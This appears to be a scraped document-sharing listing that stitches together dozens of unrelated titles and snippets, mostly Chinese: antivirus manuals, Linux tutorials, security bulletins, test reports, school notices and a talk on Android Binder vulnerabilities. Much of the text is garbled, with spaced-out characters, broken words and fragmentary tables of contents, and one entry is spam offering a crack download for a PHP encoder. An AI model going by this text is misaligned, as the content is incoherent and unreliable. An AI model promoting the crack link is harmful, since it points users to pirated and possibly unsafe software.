6. 5 ESET, spol. s. r. o. ESET Endpoi nt Ant i vi r us ESET, spol. s r. o. www. eset. com ESET, spol. s r. o. www. eset. com/ suppor t 2017/ 10/ 13 ..................................... 5 ES ET Endpoi
<%DOC NAME%> (User Manual)
AVG Email Server Edition 2012 2012.01 (7. 9. 2011) AVG Technologies CZ, s.r.o. RSA Data Security, Inc. MD5 (C) 1991-2, RSA Data Security, Inc. 1991 C-SaCzech (c) 1996-2001 Jaromir Dolecek (dolecek@ics.muni.cz)
epub 61-2
2 Web Dreamweaver UltraDev Dreamweaver 3 We b We b We Dreamweaver UltraDev We b Dreamweaver UltraDev We b We b 2.1 Web We b We b D r e a m w e a v e r J a v a S c r i p t We b We b 2.1.1 Web We b C C +
Microsoft Word - 2011-030-1-1SRS - 軟體需求規格.doc
快 樂 牧 場 主 人 軟 體 需 求 規 格 SRS-IM-2011-030-1-1 朝 陽 科 技 大 學 資 訊 管 理 系 指 導 老 師 : 范 揚 文 副 教 授 學 生 : 王 昱 尚 何 駿 青 陳 伯 誠 董 次 麟 許 閔 翔 中 華 民 國 一 百 年 十 二 月 五 日 目 錄 1. 簡 介... 4 1.1 目 的... 4 1.2 範 圍... 4 1.3 參 考 文 件...
主要内容 安卓的 Binder 机制 攻击界面介绍 挖掘系统服务漏洞 漏洞实例介绍 CVE 的利用
安卓系统服务漏洞 的挖掘与利用 龚广安全研究员奇虎 360 @oldfresher 主要内容 安卓的 Binder 机制 攻击界面介绍 挖掘系统服务漏洞 漏洞实例介绍 CVE-2015-1528 的利用 安卓的 Binder 机制 攻击界面 第一层系统服务接口 ggong@ggong-pc:~/develop/aosp/lol51$ adb shell service list Found 97 services:
IQ
TRITON APX IQ TRITON APX TRITON APX TRITON TRITON APX TRITON AP-WEB Websense ACE Web DLP TRITON APX IT TRITON APX Web TRITON APX DLP TRITON APX DLP Web (DLP) TRITON AP-WEB TRITON AP-EMAIL DLP (OCR) TRITON
课程标题
微软月度信息安全公告 2013 年 12 月 苏鹏 特约讲师 议程 安全公告 MS13-088~MS13-095 问与答 2013 年 12 月安全公告概述 新发布的安全公告 严重级 MS13-096,097,098,099,105 重要级 MS13-100,101,102,103,104,106 MSRC 通告安全等级 Microsoft Security Response Center (MSRC)
.. 3 N
1 .. 3 N9.. 4 5.. 6 7.. 8 20.. 21 23.. 24.. 25 26.. 27.. 28.. 29 2 (Cyber Café) Linux (LAN) Linux Public Home 3 K12LTSP K12LTSPFedora Core 4 (Linux)LTSP Linux (command line interface) (Graphical User Interface,
Microsoft Word - 第5章.doc
目 录 及 权 限 管 理 随 着 的 不 断 发 展, 越 来 越 多 的 人 开 始 使 用, 对 于 那 些 刚 接 触 的 人 来 说, 恐 怕 最 先 感 到 困 惑 的 就 是 那 些 不 明 不 白 的 目 录 了 同 样, 系 统 是 一 个 典 型 的 多 用 户 系 统 为 了 保 护 系 统 的 安 全 性, 系 统 对 不 同 用 户 访 问 同 一 文 件 或 目 录 的
<%DOC NAME%> (User Manual)
AVG Email Server Edition 2012 2012.06 ( 2/28/2012) AVG Technologies CZ, s.r.o. RSA Data Security, Inc. 1991 MD5 ( C) 1991-1992 RSA Data Security, Inc. C-SaCzech ( c) 1996-2001 Jaromir Dolecek ( dolecek@ics.muni.cz)
思科身份服务引擎支持的 Windows 防病毒/反间谍软件产品合规性模块版本
思科身份服务引擎支持的 Windows 防病毒 / 反间谍软件产品合规性模块版本 3.6.10482.2 本文档提供与思科 NAC 代理版本 4.9.0.29-4.9.5.x 相关的 Windows 防病毒 / 反间谍软件产品支持信息 要了解其他支持信息和完整的版本更新, 请根据您使用的思科身份服务引擎版本, 参阅相应的思科身份服务引擎版本说明 受支持的 Windows 防病毒 / 反间谍软件产品摘要
Huawei-3Com Technology Co,. Ltd.
inode PC 3.60-E6208 版 本 说 明 书 杭 州 华 三 通 信 技 术 有 限 公 司 关 键 词 :imc,vpn,ead,dam 摘 要 : 本 说 明 书 涵 盖 了 inode PC 3.60-E6208 的 版 本 说 明 主 要 包 含 了 inode 管 理 中 心 的 版 本 特 性 功 能 说 明 和 管 理 中 心 的 升 级 操 作 指 导 说 明, 以 及
93年各縣國中教師甄試最新考情.doc
93 7/8()~7/13() 7/11()~7/13() 7/17() 7/18() 7/18() 7/19() 7/21() 40% 20%( ( )) 20%( ) 1 35% 25% ( ) 70% 10%( ) 60% 1 20% 10% ( ) 6/1()~6/11() 6/12()~6/14() 6/19() 6/21() 6/26() 6/26()22:00 7/3() 40%( )
ClientHelpSymantec™ Endpoint Protection 及 Symantec Network Access Control 客户端指南
Symantec Endpoint Protection 及 Symantec Network Access Control 客 户 端 指 南 Symantec Endpoint Protection 及 Symantec Network Access Control 客 户 端 指 南 本 手 册 介 绍 的 软 件 基 于 授 权 许 可 协 议 提 供, 且 只 能 在 遵 守 协 议 条
Ioncube Php Encoder 8 3 Crack 4. llamaba octobre traslado General Search colony
Ioncube Php Encoder 8 3 Crack 4 ->>->>->> DOWNLOAD 1 / 5 2 / 5 Press..the..General..Tools..category4Encrypt..and..protect..files..with..PHP..encoding,..encryption,..ob fuscation..and..licensing... 2016
Microsoft Word - 在VMWare-5.5+RedHat-9下建立本机QTopia-2.1.1虚拟平台a.doc
在 VMWare-5.5+RedHat-9 下建立 本机 QTopia-2.1.1 虚拟平台 张大海 2008-5-9 一 资源下载 1. 需要以下安装包 : tmake-1.13.tar.gz qtopia-free-source-2.1.1.tar.gz qt-embedded-2.3.10-free.tar.gz qt-x11-2.3.2.tar.gz qt-x11-free-3.3.4.tar.gz
Microsoft Word - 13院21号.doc
川 教 考 院 2013 21 号 四 川 省 教 育 考 试 院 关 于 全 国 计 算 机 等 级 考 试 体 系 调 整 的 通 知 各 NCRE 考 点 : 为 进 一 步 适 应 新 时 期 计 算 机 应 用 技 术 的 发 展 和 人 才 市 场 需 求 的 变 化, 确 保 全 国 计 算 机 等 级 考 试 ( 以 下 简 称 NCRE) 健 康 持 续 发 展, 教 育 部 考
Microsoft Word - 九月月刊.docx
梅 Aug 2014 Vol. 1 Issue 7 + 1 常 的 糖尿病篇 Page 1 Ø Ø 我不需要自己, 那是 生的事情? Ø Ø Ø Ø 么 时 药 + more on 2 Lorem 梅 Aug 2014 Vol. 1 Issue 7 Ipsum 于血糖 : 我不需要自己, 那是 生的事情 2 梅 Aug 2014 Vol. 1 Issue 7 Lorem Ipsum 1) 2) 晚
目 录 1. 简 介... 3 2. 受 支 持 的 版 本... 3 ESET NOD32 Antivirus Kerio 专 用 版 2010 ESET 有 限 公 司 版 权 所 有 ESET NOD32 Antivirus 由 ESET 有 限 公 司 开 发 详 情 请 访 问 www.e
ESET NOD32 Antivirus for Kerio 安 装 手 册 目 录 1. 简 介... 3 2. 受 支 持 的 版 本... 3 ESET NOD32 Antivirus Kerio 专 用 版 2010 ESET 有 限 公 司 版 权 所 有 ESET NOD32 Antivirus 由 ESET 有 限 公 司 开 发 详 情 请 访 问 www.eset.com. 保 留
.... 1....2..3....4...6...7...8..10. 11...14..15...16..17.19
V1.0 2003/08/24 1 .... 1....2..3....4...6...7...8..10. 11...14..15...16..17.19 - 4 4 3 3 3 1 ( ) 3 ( ) 4 4 3 4 7/28~7/31 7/287/297/30 7/314 7/28 7/31 18:00 Web 18:00 2 2 1. ( ) 3/20~3/24 2 ( ) 92 3 92
ESET NOD32 Antivirus
ESET NOD32 ANTIVIRUS 9 Microsoft Windows 10 / 8.1 / 8 / 7 / Vista / XP ESET NOD32 Antivirus ESET NOD32 Antivirus NOD32 ESET LiveGrid ESET NOD32 Antivirus ESET Rootkit ESET NOD32 Antivirus ESET CD/DVD www.eset.com
<%DOC NAME%> User Manual
AVG Internet Security 2014 用户手册 文档修订 2014.22 ( 6/19/2014) 版权所有 AVG Technol ogi es CZ, s. r. o. 保留所有权利 所有其它商标均是其各自所有者的财产 本产品采用 RSA Data Security, Inc. 在 1991 年创立的 MD5 信息摘要算法 版权所有 (C) 1991-1992 RSA Data
校友会系统白皮书feb_08
硕 士 研 究 生 招 生 管 理 系 统 1 产 品 白 皮 书 希 尔 数 字 校 园 硕 士 研 究 生 招 生 管 理 系 统 白 皮 书 目 录 1 产 品 概 述... 1 1.1 产 品 简 介... 1 1.2 应 用 范 围... 1 2 产 品 功 能 结 构 图... 2 3 产 品 功 能... 3 3.1 系 统 设 置... 3 3.2 信 息 发 布... 3 3.3
一 登录 crm Mobile 系统 : 输入 ShijiCare 用户名和密码, 登录系统, 如图所示 : 第 2 页共 32 页
第 1 页共 32 页 crm Mobile V1.0 for IOS 用户手册 一 登录 crm Mobile 系统 : 输入 ShijiCare 用户名和密码, 登录系统, 如图所示 : 第 2 页共 32 页 二 crm Mobile 界面介绍 : 第 3 页共 32 页 三 新建 (New) 功能使用说明 1 选择产品 第 4 页共 32 页 2 填写问题的简要描述和详细描述 第 5 页共
<%DOC NAME%> (User Manual)
AVG Email Server Edition 2013.10 ( 03/12/2013) AVG Technologies CZ, s.r.o. RSA Data Security, Inc. 1991 MD5 ( C) 1991-1992 RSA Data Security, Inc. C-SaCzech ( c) 1996-2001 Jaromir Dolecek ( dolecek@ics.muni.cz)
Cisco WebEx Meetings Server 2.6 版常见问题解答
Cisco WebEx Meetings Server 2.6 版 常 见 问 题 解 答 介 绍 2 应 用 程 序 和 文 档 共 享 2 主 持 加 入 和 设 置 会 议 2 在 Chrome 和 Firefox 上 加 入 WebEx 会 议 或 播 放 会 议 录 制 文 件 4 适 用 于 移 动 设 备 的 Cisco WebEx 4 下 载 Cisco WebEx 应 用 程 序
清华得实WebST网络安全行业解决方案
WebST ( ) 010-6298822 010-82899313 http://www.th-dascom.com.cn 9 5 ... 3... 4 1.... 4 2.... 6 3.... 6... 7... 8 1.... 8 1.1... 8 1.2... 8 1.3... 10 2.... 10 2.1... 11 2.2... 13 3.... 15 3.1... 15 3.2...
前言
V1.0 ...3...4 1....4 2....6 3....6...7...8 1....8 1.1...8 1.2...8 1.3...10 2....10 2.1... 11 2.2...13 3....15 3.1...15 3.2...17 3.3...17 4....17 4.1...17 4.2...18 4.3 WebST...19 4.4 OA UNIX...22 4.5...22
ESET Endpoint Antivirus
macos 6.0 ESET, spol. s.r.o. ESET Endpoint Antivirus ESET, spol. s r.o. www.eset.com ESET, spol. s r.o. www.eset.com/support 8/23/2016 1. ESET...4 Endpoint Ant ivirus 1.1 1.2 6...4...4 2. ESET Remote Administrator...4
手册 doc
1. 2. 3. 3.1 3.2 3.3 SD 3.4 3.5 SD 3.6 3.7 4. 4.1 4.2 4.3 SD 4.4 5. 5.1 5.2 5.3 SD 6. 1. 1~3 ( ) 320x240~704x288 66 (2G SD 320x2401FPS ) 32M~2G SD SD SD SD 24V DC 3W( ) -10~70 10~90% 154x44x144mm 2. DVR106
安全公告
信 息 安 全 漏 洞 威 胁 通 报 第 1 页 共 100 页 信 息 安 全 漏 洞 威 胁 通 报 安 恒 信 息 信 息 安 全 漏 洞 威 胁 通 报 2015 年 06 月 04 日 -2015 年 06 月 11 日 6 月 第 2 周 根 据 中 国 国 家 信 息 安 全 漏 洞 库 统 计, 本 周 共 收 集 整 理 信 息 安 全 漏 洞 112 个, 其 中 高 危 漏
第一章 Linux與網路資源
1 28 Proxy Server 28-1 Proxy proxy Server rpm qa grep squid Linux Proxy Proxy Proxy Proxy Proxy Request Proxy Proxy Proxy RedHat Linux Fedora #mount /mnt/cdrom squid squid Proxy #cd /mnt/cdrom/redhat/rpms
Microsoft Word - 全華Ch4Ans.doc
得 分 : 101 學 年 度 第 2 學 期 全 華 Ch4 命 題 教 師 : 範 圍 : 年 班 號 姓 名 一 單 選 題 : (3) 1. 下 列 有 關 開 放 格 式 檔 案 的 檔 案 性 質 對 應, 何 者 有 誤? (1)gif: 圖 形 檔 (2)avi: 視 訊 檔 (3)odt: 簡 報 檔 (4)xlsx: 電 子 試 算 表 檔 ( 出 處 :4-3) 解 析 odt
ansoft_setup21.doc
Cadence Cadence Cadence 1000 (1) (2) CIC (3).. CIC Cadence (a) CIC license license server license CIC license CIC license (b) 2000 Cadence license 92 1 1 license server CIC 92 1 1 Cadence license licenser
Symantec™ Sygate Enterprise Protection 防护代理安装使用指南
Symantec Sygate Enterprise Protection 防 护 代 理 安 装 使 用 指 南 5.1 版 版 权 信 息 Copyright 2005 Symantec Corporation. 2005 年 Symantec Corporation 版 权 所 有 All rights reserved. 保 留 所 有 权 利 Symantec Symantec 徽 标 Sygate
Linux服务器构建与运维管理
1 Linux 服务器构建与运维管理 第 2 章 :Linux 基本命令 阮晓龙 13938213680 / rxl@hactcm.edu.cn http://linux.xg.hactcm.edu.cn http://www.51xueweb.cn 河南中医药大学管理科学与工程学科 2018.3 2 提纲 目录与文件的操作 mkdir touch mv cp rm rmdir file tree
<%DOC NAME%> (User Manual)
AVG Email Server Edition 2013 2013.01 ( 20.11.2012) AVG Technologies CZ, s.r.o. RSA Data Security, Inc. 1991 MD5 ( C) 1991-1992 RSA Data Security, Inc. C-SaCzech ( c) 1996-2001 Jaromir Dolecek ( dolecek@ics.muni.cz)
Converting image (bmp/jpg) file into binary format
RAiO Image Tool 操作说明 Version 1.0 July 26, 2016 RAiO Technology Inc. Copyright RAiO Technology Inc. 2013 RAiO TECHNOLOGY INC. www.raio.com.tw Revise History Version Date Description 0.1 September 01, 2014
目录 1. 简介 说明 测试结果 检测结果概要 误报测试 本次检测产品所获奖项及评级 版权及免责声明
AVC 测试报告第 22 号 主动 / 回溯测试 ( 新 / 未知恶意软件静态检测 ) 语言 : 中文 2010 年 8 月最后修订 :2010 年 12 月 6 日 www.av-comparatives.org - 1 - 目录 1. 简介... 3 2. 说明... 4 3. 测试结果... 5 4. 检测结果概要... 8 5. 误报测试... 8 6. 本次检测产品所获奖项及评级... 9
05 01 X Window X Window Linux Linux X Window X Window Webmin Web Linux Linux X Window X Window Notebook PC X Window X Window module Linux Linux kernel
Linux sub bash test2.sh sub bash test.sh test2.sh sub bash var1 123 123 test.sh test2.sh var1 bash sub bash var1 bash 01 5-4 X Window X Window X Window Linux Server X Window CPU2006 Linux X Window benchmark
<4D6963726F736F667420506F776572506F696E74202D20C8EDBCFEB2E2CAD4D1A7CFB0D7CAC1CF2E707074205BBCE6C8DDC4A3CABD5D>
软 件 测 试 学 习 资 料 2014 对 软 件 产 品 ( 不 限 程 序 安 装 包 手 机 应 用 包 游 戏 网 站 等 ) 进 行 的 功 能 性 能 安 全 代 码 级 测 试 检 查, 以 便 发 现 各 种 类 型 的 错 误 找 出 跟 用 户 需 求 体 验 不 一 致 的 问 题 软 件 测 试 的 目 的 : 给 用 户 提 供 一 个 高 质 量 的 软 件 产 品,
Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7.
Kubernetes 包管理理 工具 Helm 蔺礼强 Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7. Kubernetes
九 年 一 貫 資 訊 議 題 單 元 教 學 設 計 分 析 與 規 劃 目 的 成 效 : 數 位 媒 體 不 管 在 現 今 商 業 市 場 上 或 是 數 位 教 育 教 材 的 廣 泛 使 用 中, 都 佔 了 相 當 大 的 比 重, 除 了 數 位 內 容 傳 達 不 受 限 於 地
澎 湖 縣 九 年 一 貫 資 訊 議 題 教 材 發 展 計 畫 教 師 手 冊 九 年 一 貫 資 訊 議 題 單 元 教 學 設 計 -----------------------------------2 1-2 九 年 一 貫 資 訊 議 題 單 元 教 學 設 計 教 學 指 引 教 材 與 數 位 資 源 設 計 ( 第 1 節 )-----------------------------------------------------4
Azure_s
Azure ? Azure Azure Windows Server Database Server Azure Azure Azure Azure Azure Azure Azure Azure OpenSource Azure IaaS Azure VM Windows Server Linux PaaS Azure ASP.NET PHP Node.js Python MS SQL MySQL
第1章 QBASIC语言概述
第 3 章 网 络 安 全 学 习 目 的 (1) 了 解 计 算 机 网 络 安 全 的 基 础 知 识 (2) 熟 悉 网 络 安 全 防 范 的 措 施 与 目 标 (3) 了 解 计 算 机 病 毒 的 基 础 知 识 (4) 掌 握 计 算 机 病 毒 的 预 防 检 测 与 清 除 方 法 学 习 重 点 与 难 点 (1) 网 络 安 全 防 范 措 施 (2) 计 算 机 病 毒 的
快速参考指南
PDF Reader 6 快 速 参 考 指 南 Nuance PDF Reader 6 参 考 指 南 1 介 绍 欢 迎 使 用 Nuance PDF Reader 6! 您 可 以 使 用 本 产 品 查 看 和 处 理 PDF 文 件 其 主 要 功 能 包 括 : 缩 放 和 旋 转 页 面 使 用 书 签 在 文 档 中 导 航 跳 转 到 定 义 的 页 面 查 看 当 前 文 件 夹
Norton Ghost 15.0 安裝操作指南
Norton Ghost 15.0 安 裝 操 作 指 南 Norton Ghost 15.0 安 裝 操 作 指 南 本 書 所 述 軟 體 係 按 授 權 合 約 提 供, 使 用 時 必 須 遵 照 授 權 合 約 條 文 文 件 版 本 : 9.0 法 律 聲 明 Copyright 2009 Symantec Corporation. 版 權 2009 賽 門 鐵 克 公 司 All rights
1. Revo Uninstaller Pro Revo Uninstaller Pro Revo Uninstaller Pro Revo Uninstaller Pro Revo Uninsta ller Pro Revo Uninstaller Pro Revo Uninstaller Pro
1. 2. 3. 3.1. 3.2. 3.2.1. 3.2.2. 3.2.3. 3.3. 3.4. 3.5. 4. 5. 5.1. 5.2. 5.3. Windows 5.4. 5.5. 5.6. 5.7. 5.8. 6. 6.1. 6.2. 6.2.1. 6.2.2. 6.3. 6.3.1. 6.3.2. 6.4. 6.4.1. 6.4.2. 6.4.3. 6.5. 6.6. 7. 8. 9. Revo
Abstract arm linux tool-chain root NET-Start! 2
Lab III - Embedding Linux 1 Abstract arm linux tool-chain root NET-Start! 2 Part 1.4 Step1. tool-chain 4 Step2. PATH 4 Part 2 kernel 5 Step1. 5 Step2... 6 Step3...8 Part 3 root. 8 Step1. 8 Step2. 8 Part
阅读理解与写作技巧工作坊 年级 小五 小六 日期 3月28日 时间 7点正至8点30分 地点 嘉庚堂 1. 2. 3. 4. 5. 6. 1. 2. 3. 1 2 3 4. 1 2 / 3 1. 2. 3. 4. 5. 1 1 4 . 1 . (a) ( ) . (a) ( ) X . (a) ( ) . X X / . . 1 2 2 3 . . 1 2 2 . 5 6 ^
七天基于风险测试—Chinatest.ppt
/ @ at Testart PPT ?! Risk = Damage*Probability Damage Probability ? . 1. 1. 4. 1. Web- GIS PC 7 ? ? : ? - - - 0.1 0.1 X bug UI 10 Requirement SpecificaCon IteraCon Develop
Forrester Wave Chris Sherman Christopher McClean Salvatore Schiano Peggy Dostie Forrester Bromium Carbon Black Crow
Forrester Wave 2016 15 Chris Sherman 25 15 Bromium Carbon Black CrowdStrike Cylance ESET IBM Intel Security Invincea Kaspersky Lab Landesk Palo Alto Networks SentinelOne Sophos Symantec Trend Micro Trend
File Detection Test - September 2014
Anti-Virus Comparative 恶意文件检测率测试 包括误报测试 语言 : 简体中文 2014 年 9 月最后修订 :2014 年 10 月 15 日 目录 被检测的产品 3 简介 4 遗漏样本图 6 测试结果 7 误报测试 8 本次检测的产品取得的成绩 9 版权及免责声明 10 参加检测的产品 AhnLab V3 Internet Security 8.0 Kaspersky Internet
A9RF716.tmp
1 PART I 1 2 3 4 5 6 7 8 Docker Docker Image Container Repository Docker le Docker Docker 8 1 Docker Linux 2 Docker Docker 3 5 Docker 6 Docker volume 7 8 Docker le Docker le 1 C H A P T E R 1 CPU Data
ChinaBI企业会员服务- BI企业
商业智能 (BI) 开源工具 Pentaho BisDemo 介绍及操作说明 联系人 : 杜号权苏州百咨信息技术有限公司电话 : 0512-62861389 手机 :18616571230 QQ:37971343 E-mail:du.haoquan@bizintelsolutions.com 权限控制管理 : 权限控制管理包括 : 浏览权限和数据权限 ( 权限部分两个角色 :ceo,usa; 两个用户
ESET Cyber Security
6. 5 ESET, spol. s r. o. ESET Cyber Secur i t y ESET, spol. s r. o. www. eset. com ESET, spol. s r. o. www. eset. com/ suppor t REV. 2017/ 10/ 13 ..................................... 5 ES ET Cy ber S
自由軟體教學平台
NCHC Opensource task force DRBL steven@nchc.gov.tw, c00hkl00@nchc.gov.tw National Center for High-Performance Computing http://www.nchc.gov.tw Jan, 2003 1 2003/1/28 ( ) 09:00-10:30 10:40-12:00 Linux 13:00-14:30
报告编号 :SKD HPBG 赛可达实验室测试报告 测试项目 : 测试时间 : 17 款中文杀毒软件查杀能力横评 2016 年 1 月
报告编号 :SKD HPBG 01-2016-02-01 测试报告 测试项目 : 测试时间 : 17 款中文杀毒软件查杀能力横评 2016 年 1 月 目录 1... 1 2 测试产品... 2 3 测试概述... 3 4 查杀能力测试... 3 4.1 静态扫描... 3 4.2 动态测试... 5 免责声明... 7 1 拥有世界领先的测评技术实力和数年丰富的国际测评经验, 为网络信息安全厂商和行业用户提供
untitled
01 1-1 PHP 1-2 PHP 1-3 MySQL 1-4 1-5 http://w3techs.com/technologies/history_overview/programming_language w3techs.com (Server-side) 2012 7 77.8% PHP PHP PHP PHP 1-1 PHP PHP HTML Script Windows ASP(Active
untitled
21 Visual FoxPro Visual FoxPro 6.0 11 Visual FoxPro Visual FoxPro CIP Visual FoxPro 2004 21 ISBN 7-03-014834-7 V Visual FoxPro TP311.138 CIP 2004 143035 16 100717 http://www.sciencep.com * 2004 12 7871092
1 0 0 100 2 16 100 3 7 9 100 3 29 4 24 100 3 29 100 3 7 100 4 6 9 4 1 100 4 7 100 4 10 100 4 20 100 4 25 100 4 27 100 5 3
1 0 0 100 2 16 100 3 7 9 100 3 29 4 24 100 3 29 100 3 7 100 4 6 9 4 1 100 4 7 100 4 10 100 4 20 100 4 25 100 4 27 100 5 3 http://actweb.ukn.edu.tw/webexam/frmlogin.aspx http://www.admission.ukn.edu.tw
* 4 6 R P r p . 1 2 3 4 7 89bk 6 5 1 2 3 4 5 6 7 8 9 0 bk r bl bm bn^ bo bl br bq bpbo bn bm [ ] [ ] [ ] bp 8 2 4 6 bq p [ ] [SET] br clckbt bs bs bt ck cl. 1 2 1 2+- 3 3 . 1 2 3 4 5 6 7 8 9 bk bl bm
自由軟體教學平台
NCHC Opensource task force DRBL c00hkl00@nchc.gov.tw, steven@nchc.gov.tw National Center for High-Performance Computing http://www.nchc.gov.tw Dec, 2002 1 Outline 1. 2. DRBL 3. 4. Service DHCP, TFTP, NFS,
csa-faq.pdf
Cisco 安 全 代 理 常 见 问 题 问 题 简 介 在 哪 里 能 找 到 CSA 文 档 和 产 品 支 持 信 息? 在 哪 里 能 下 载 最 新 的 版 本 和 补 丁 程 序 CSA 的? 在 哪 里 能 找 到 关 于 为 CSA 存 在 的 Bug 的 信 息? Linux 什 么 版 本 5 代 理 程 序 支 持? 哪 些 Solaris 版 本 5 代 理 程 序 支 持?
Autodesk Product Design Suite Standard 系统统需求 典型用户户和工作流 Autodesk Product Design Suite Standard 版本为为负责创建非凡凡产品的设计师师和工程师提供供基本方案设计和和制图工具, 以获得令人惊叹叹的产品
Autodesk Product Design Suite Standard 20122 系统统需求 典型用户户和工作流 Autodesk Product Design Suite Standard 版本为为负责创建非凡凡产品的设计师师和工程师提供供基本方案设计和和制图工具, 以获得令人惊叹叹的产品设计 Autodesk Product Design Suite Standard 版本包包括以下软件产产品
QVM330 多阜寬頻路由器
俠 諾 神 捕 QnoSniff 專 業 版 2.0 繁 體 中 文 使 用 手 冊 目 錄 一 簡 介... 4 二 QnoSniff 專 業 版 系 統 安 裝 與 配 置... 6 2.1 開 始 之 前 的 準 備... 6 2.2 QnoSniff 專 業 版 安 裝 過 程 中 所 需 元 件... 6 2.3 佈 署 連 接 範 例 拓 樸... 7 2.4 開 始 安 裝... 7
简 介 本 测 试 报 告 仅 是 对 德 国 个 人 电 脑 杂 志 1 委 托 的, 且 最 近 已 在 该 杂 志 上 发 表 的 一 项 反 钓 鱼 测 试 的 简 要 总 结 由 于 所 有 的 测 试 结 果 已 印 刷 成 杂 志 的 形 式, 结 果 是 几 个 月 前 的, 本 测
反 钓 鱼 测 试 2011 年 8 月 语 言 : 中 文 2011 年 8 月 修 订 :2011 年 10 月 15 日 - 1 - 简 介 本 测 试 报 告 仅 是 对 德 国 个 人 电 脑 杂 志 1 委 托 的, 且 最 近 已 在 该 杂 志 上 发 表 的 一 项 反 钓 鱼 测 试 的 简 要 总 结 由 于 所 有 的 测 试 结 果 已 印 刷 成 杂 志 的 形 式, 结
<4D6963726F736F667420506F776572506F696E74202D2030325FC2B2B3F85FA44AAB49B0BBB4FABB50B977A8BEA874B2CEC2B2A4B6BB50C0B3A5CE2E707074>
入 侵 偵 測 與 預 防 系 統 簡 介 與 應 用 蕭 翔 之 講 師 BS 7799 LA 課 程 大 綱 第 一 章 認 識 入 侵 偵 測 與 預 防 系 統 第 二 章 入 侵 偵 測 與 預 防 系 統 的 功 能 分 類 偵 測 技 術 第 三 章 入 侵 偵 測 與 預 防 系 統 部 署 架 構 第 四 章 入 侵 偵 測 與 預 防 系 統 的 應 用 效 益 第 五 章 結
温州市政府分散采购
温 州 市 政 府 分 散 采 购 招 标 文 件 招 标 编 号 :F - G B 2 0 1 6 0 3 1 4 0 0 4 7 招 标 项 目 : 温 州 市 人 民 政 府 办 公 室 政 务 云 平 台 ( 重 ) 招 标 方 式 : 公 开 招 标 招 标 人 : 温 州 市 人 民 政 府 办 公 室 招 标 代 理 : 二 〇 一 六 年 三 月 目 录 投 标 保 证 金 办 理
ESET Cyber Security Pro
6. 5 ESET, spol. s r. o. ESET Cyber Secur i t y Pr o ESET, spol. s r. o. www. eset. com ESET, spol. s r. o. www. eset. com/ suppor t REV. 2017/ 10/ 13 ..................................... 5 ES ET Cy ber
职 位 类 别 : 测 试 工 程 师 工 作 经 验 或 实 习 经 历 : 不 限 岗 位 要 求 : 1. 本 科 及 其 以 上 学 历, 计 算 机 相 关 专 业 2014 届 毕 业 生 ; 2. 实 习 时 间 要 求, 尽 量 一 周 五 个 工 作 日 ; 3. 熟 悉 Wind
企 业 信 息 表 公 司 名 称 : 中 铁 信 安 ( 北 京 ) 信 息 安 全 技 术 有 限 公 司 公 司 性 质 : 国 企 控 股 公 司 规 模 : 100 人 左 右 所 属 行 业 : 互 联 网 计 算 机 软 件 招 聘 人 数 :12 工 作 地 点 : 北 京 市 海 淀 区 公 司 能 够 提 供 的 福 利 : 五 险 一 金 晋 升 旅 游 节 假 日 礼 物 加
lect03.ppt
Linux 操 作 系 统 Linux 基 础 主 要 内 容 q 使 用 Linux q Linux 的 两 种 登 录 方 式 q 字 符 操 作 环 境 和 X Windows 系 统 q Linux 图 形 界 面 基 本 操 作 q Linux 命 令 的 使 用 方 式 q Linux 一 些 常 用 命 令 1 2 一 些 基 本 术 语 u 命 令 (Command) 给 计 算 机
Microsoft Word - PS2_linux_guide_cn.doc
Linux For $ONY PlayStatioin2 Unofficall General Guide Language: Simplified Chinese First Write By Beter Hans v0.1 Mail: hansb@citiz.net Version: 0.1 本 人 是 菜 鸟 + 小 白 欢 迎 指 正 错 误 之 处, 如 果 您 有 其 他 使 用 心 得
Contents 1. IPSIDS...1... 19 2....2 IT... 21 3....2 4....3 FAQ... 26 5. 21 CISP...3 6. IPS...3 7. 2008...4 8. 2008...4...6...7 IPS Web...9...13...14...15 TOP10...16... 28... 31... 33... 37... 40... 42...
安全公告
信 息 安 全 漏 洞 威 胁 通 报 第 1 页 共 68 页 信 息 安 全 漏 洞 威 胁 通 报 安 恒 信 息 信 息 安 全 漏 洞 威 胁 通 报 2016 年 第 23 期 2016.06.16-2016.06.22 根 据 中 国 国 家 信 息 安 全 漏 洞 库 统 计, 本 周 共 收 集 整 理 信 息 安 全 漏 洞 161 个, 其 中 高 危 漏 洞 65 个 中 危
Microsoft Word - linux命令及建议.doc
Linux 操 作 系 统 命 令 集 1 基 本 命 令 查 看 系 统 信 息 : uname -a 修 改 密 码 : passwd 退 出 : logout(exit) 获 取 帮 助 : man commands 2 文 件 和 目 录 命 令 显 示 当 前 工 作 目 录 : pwd 改 变 所 在 目 录 : cd cd - 切 换 到 上 一 次 使 用 的 目 录 cd 切 换
QVM330 多阜寬頻路由器
侠 诺 神 捕 QnoSniff 专 业 版 2.0 简 体 中 文 使 用 手 册 目 录 一 简 介... 4 二 QnoSniff 专 业 版 系 统 安 装 与 配 置... 5 2.1 开 始 之 前 的 准 备... 5 2.2 QnoSniff 专 业 版 安 装 过 程 中 所 需 组 件... 5 2.3 布 署 连 接 范 例 拓 朴... 6 2.4 开 始 安 装... 6
自由軟體教學平台
NCHC Opensource task force Steven Shiau steven@nchc.gov.tw National Center for High-Performance Computing Sep 10, 2002 1 Outline 1. 2. 3. Service DHCP, TFTP, NFS, NIS 4. 5. 2 DRBL (diskless remote boot
器之 间 向一致时为正 相反时则为负 ③大量电荷的定向移动形成电 流 单个电荷的定向移动同样形成电流 ３ 电势与电势差 １ 陈述概念 电场中某点处 电荷的电势能 Ｅ ｐ 与电荷量 ｑ Ｅｐ 的比值叫做该点处的电势 表达式为 Ｖ 电场中两点之间的 ｑ 电势之差叫做电势差 表达式为 ＵＡＢ Ｖ Ａ ＶＢ ２ 理解概念 电势差是电场中任意两点之间的电势之差 与参考点的选择无关 电势是反映电场能的性质的物理量
Microsoft Word - 100118002.htm
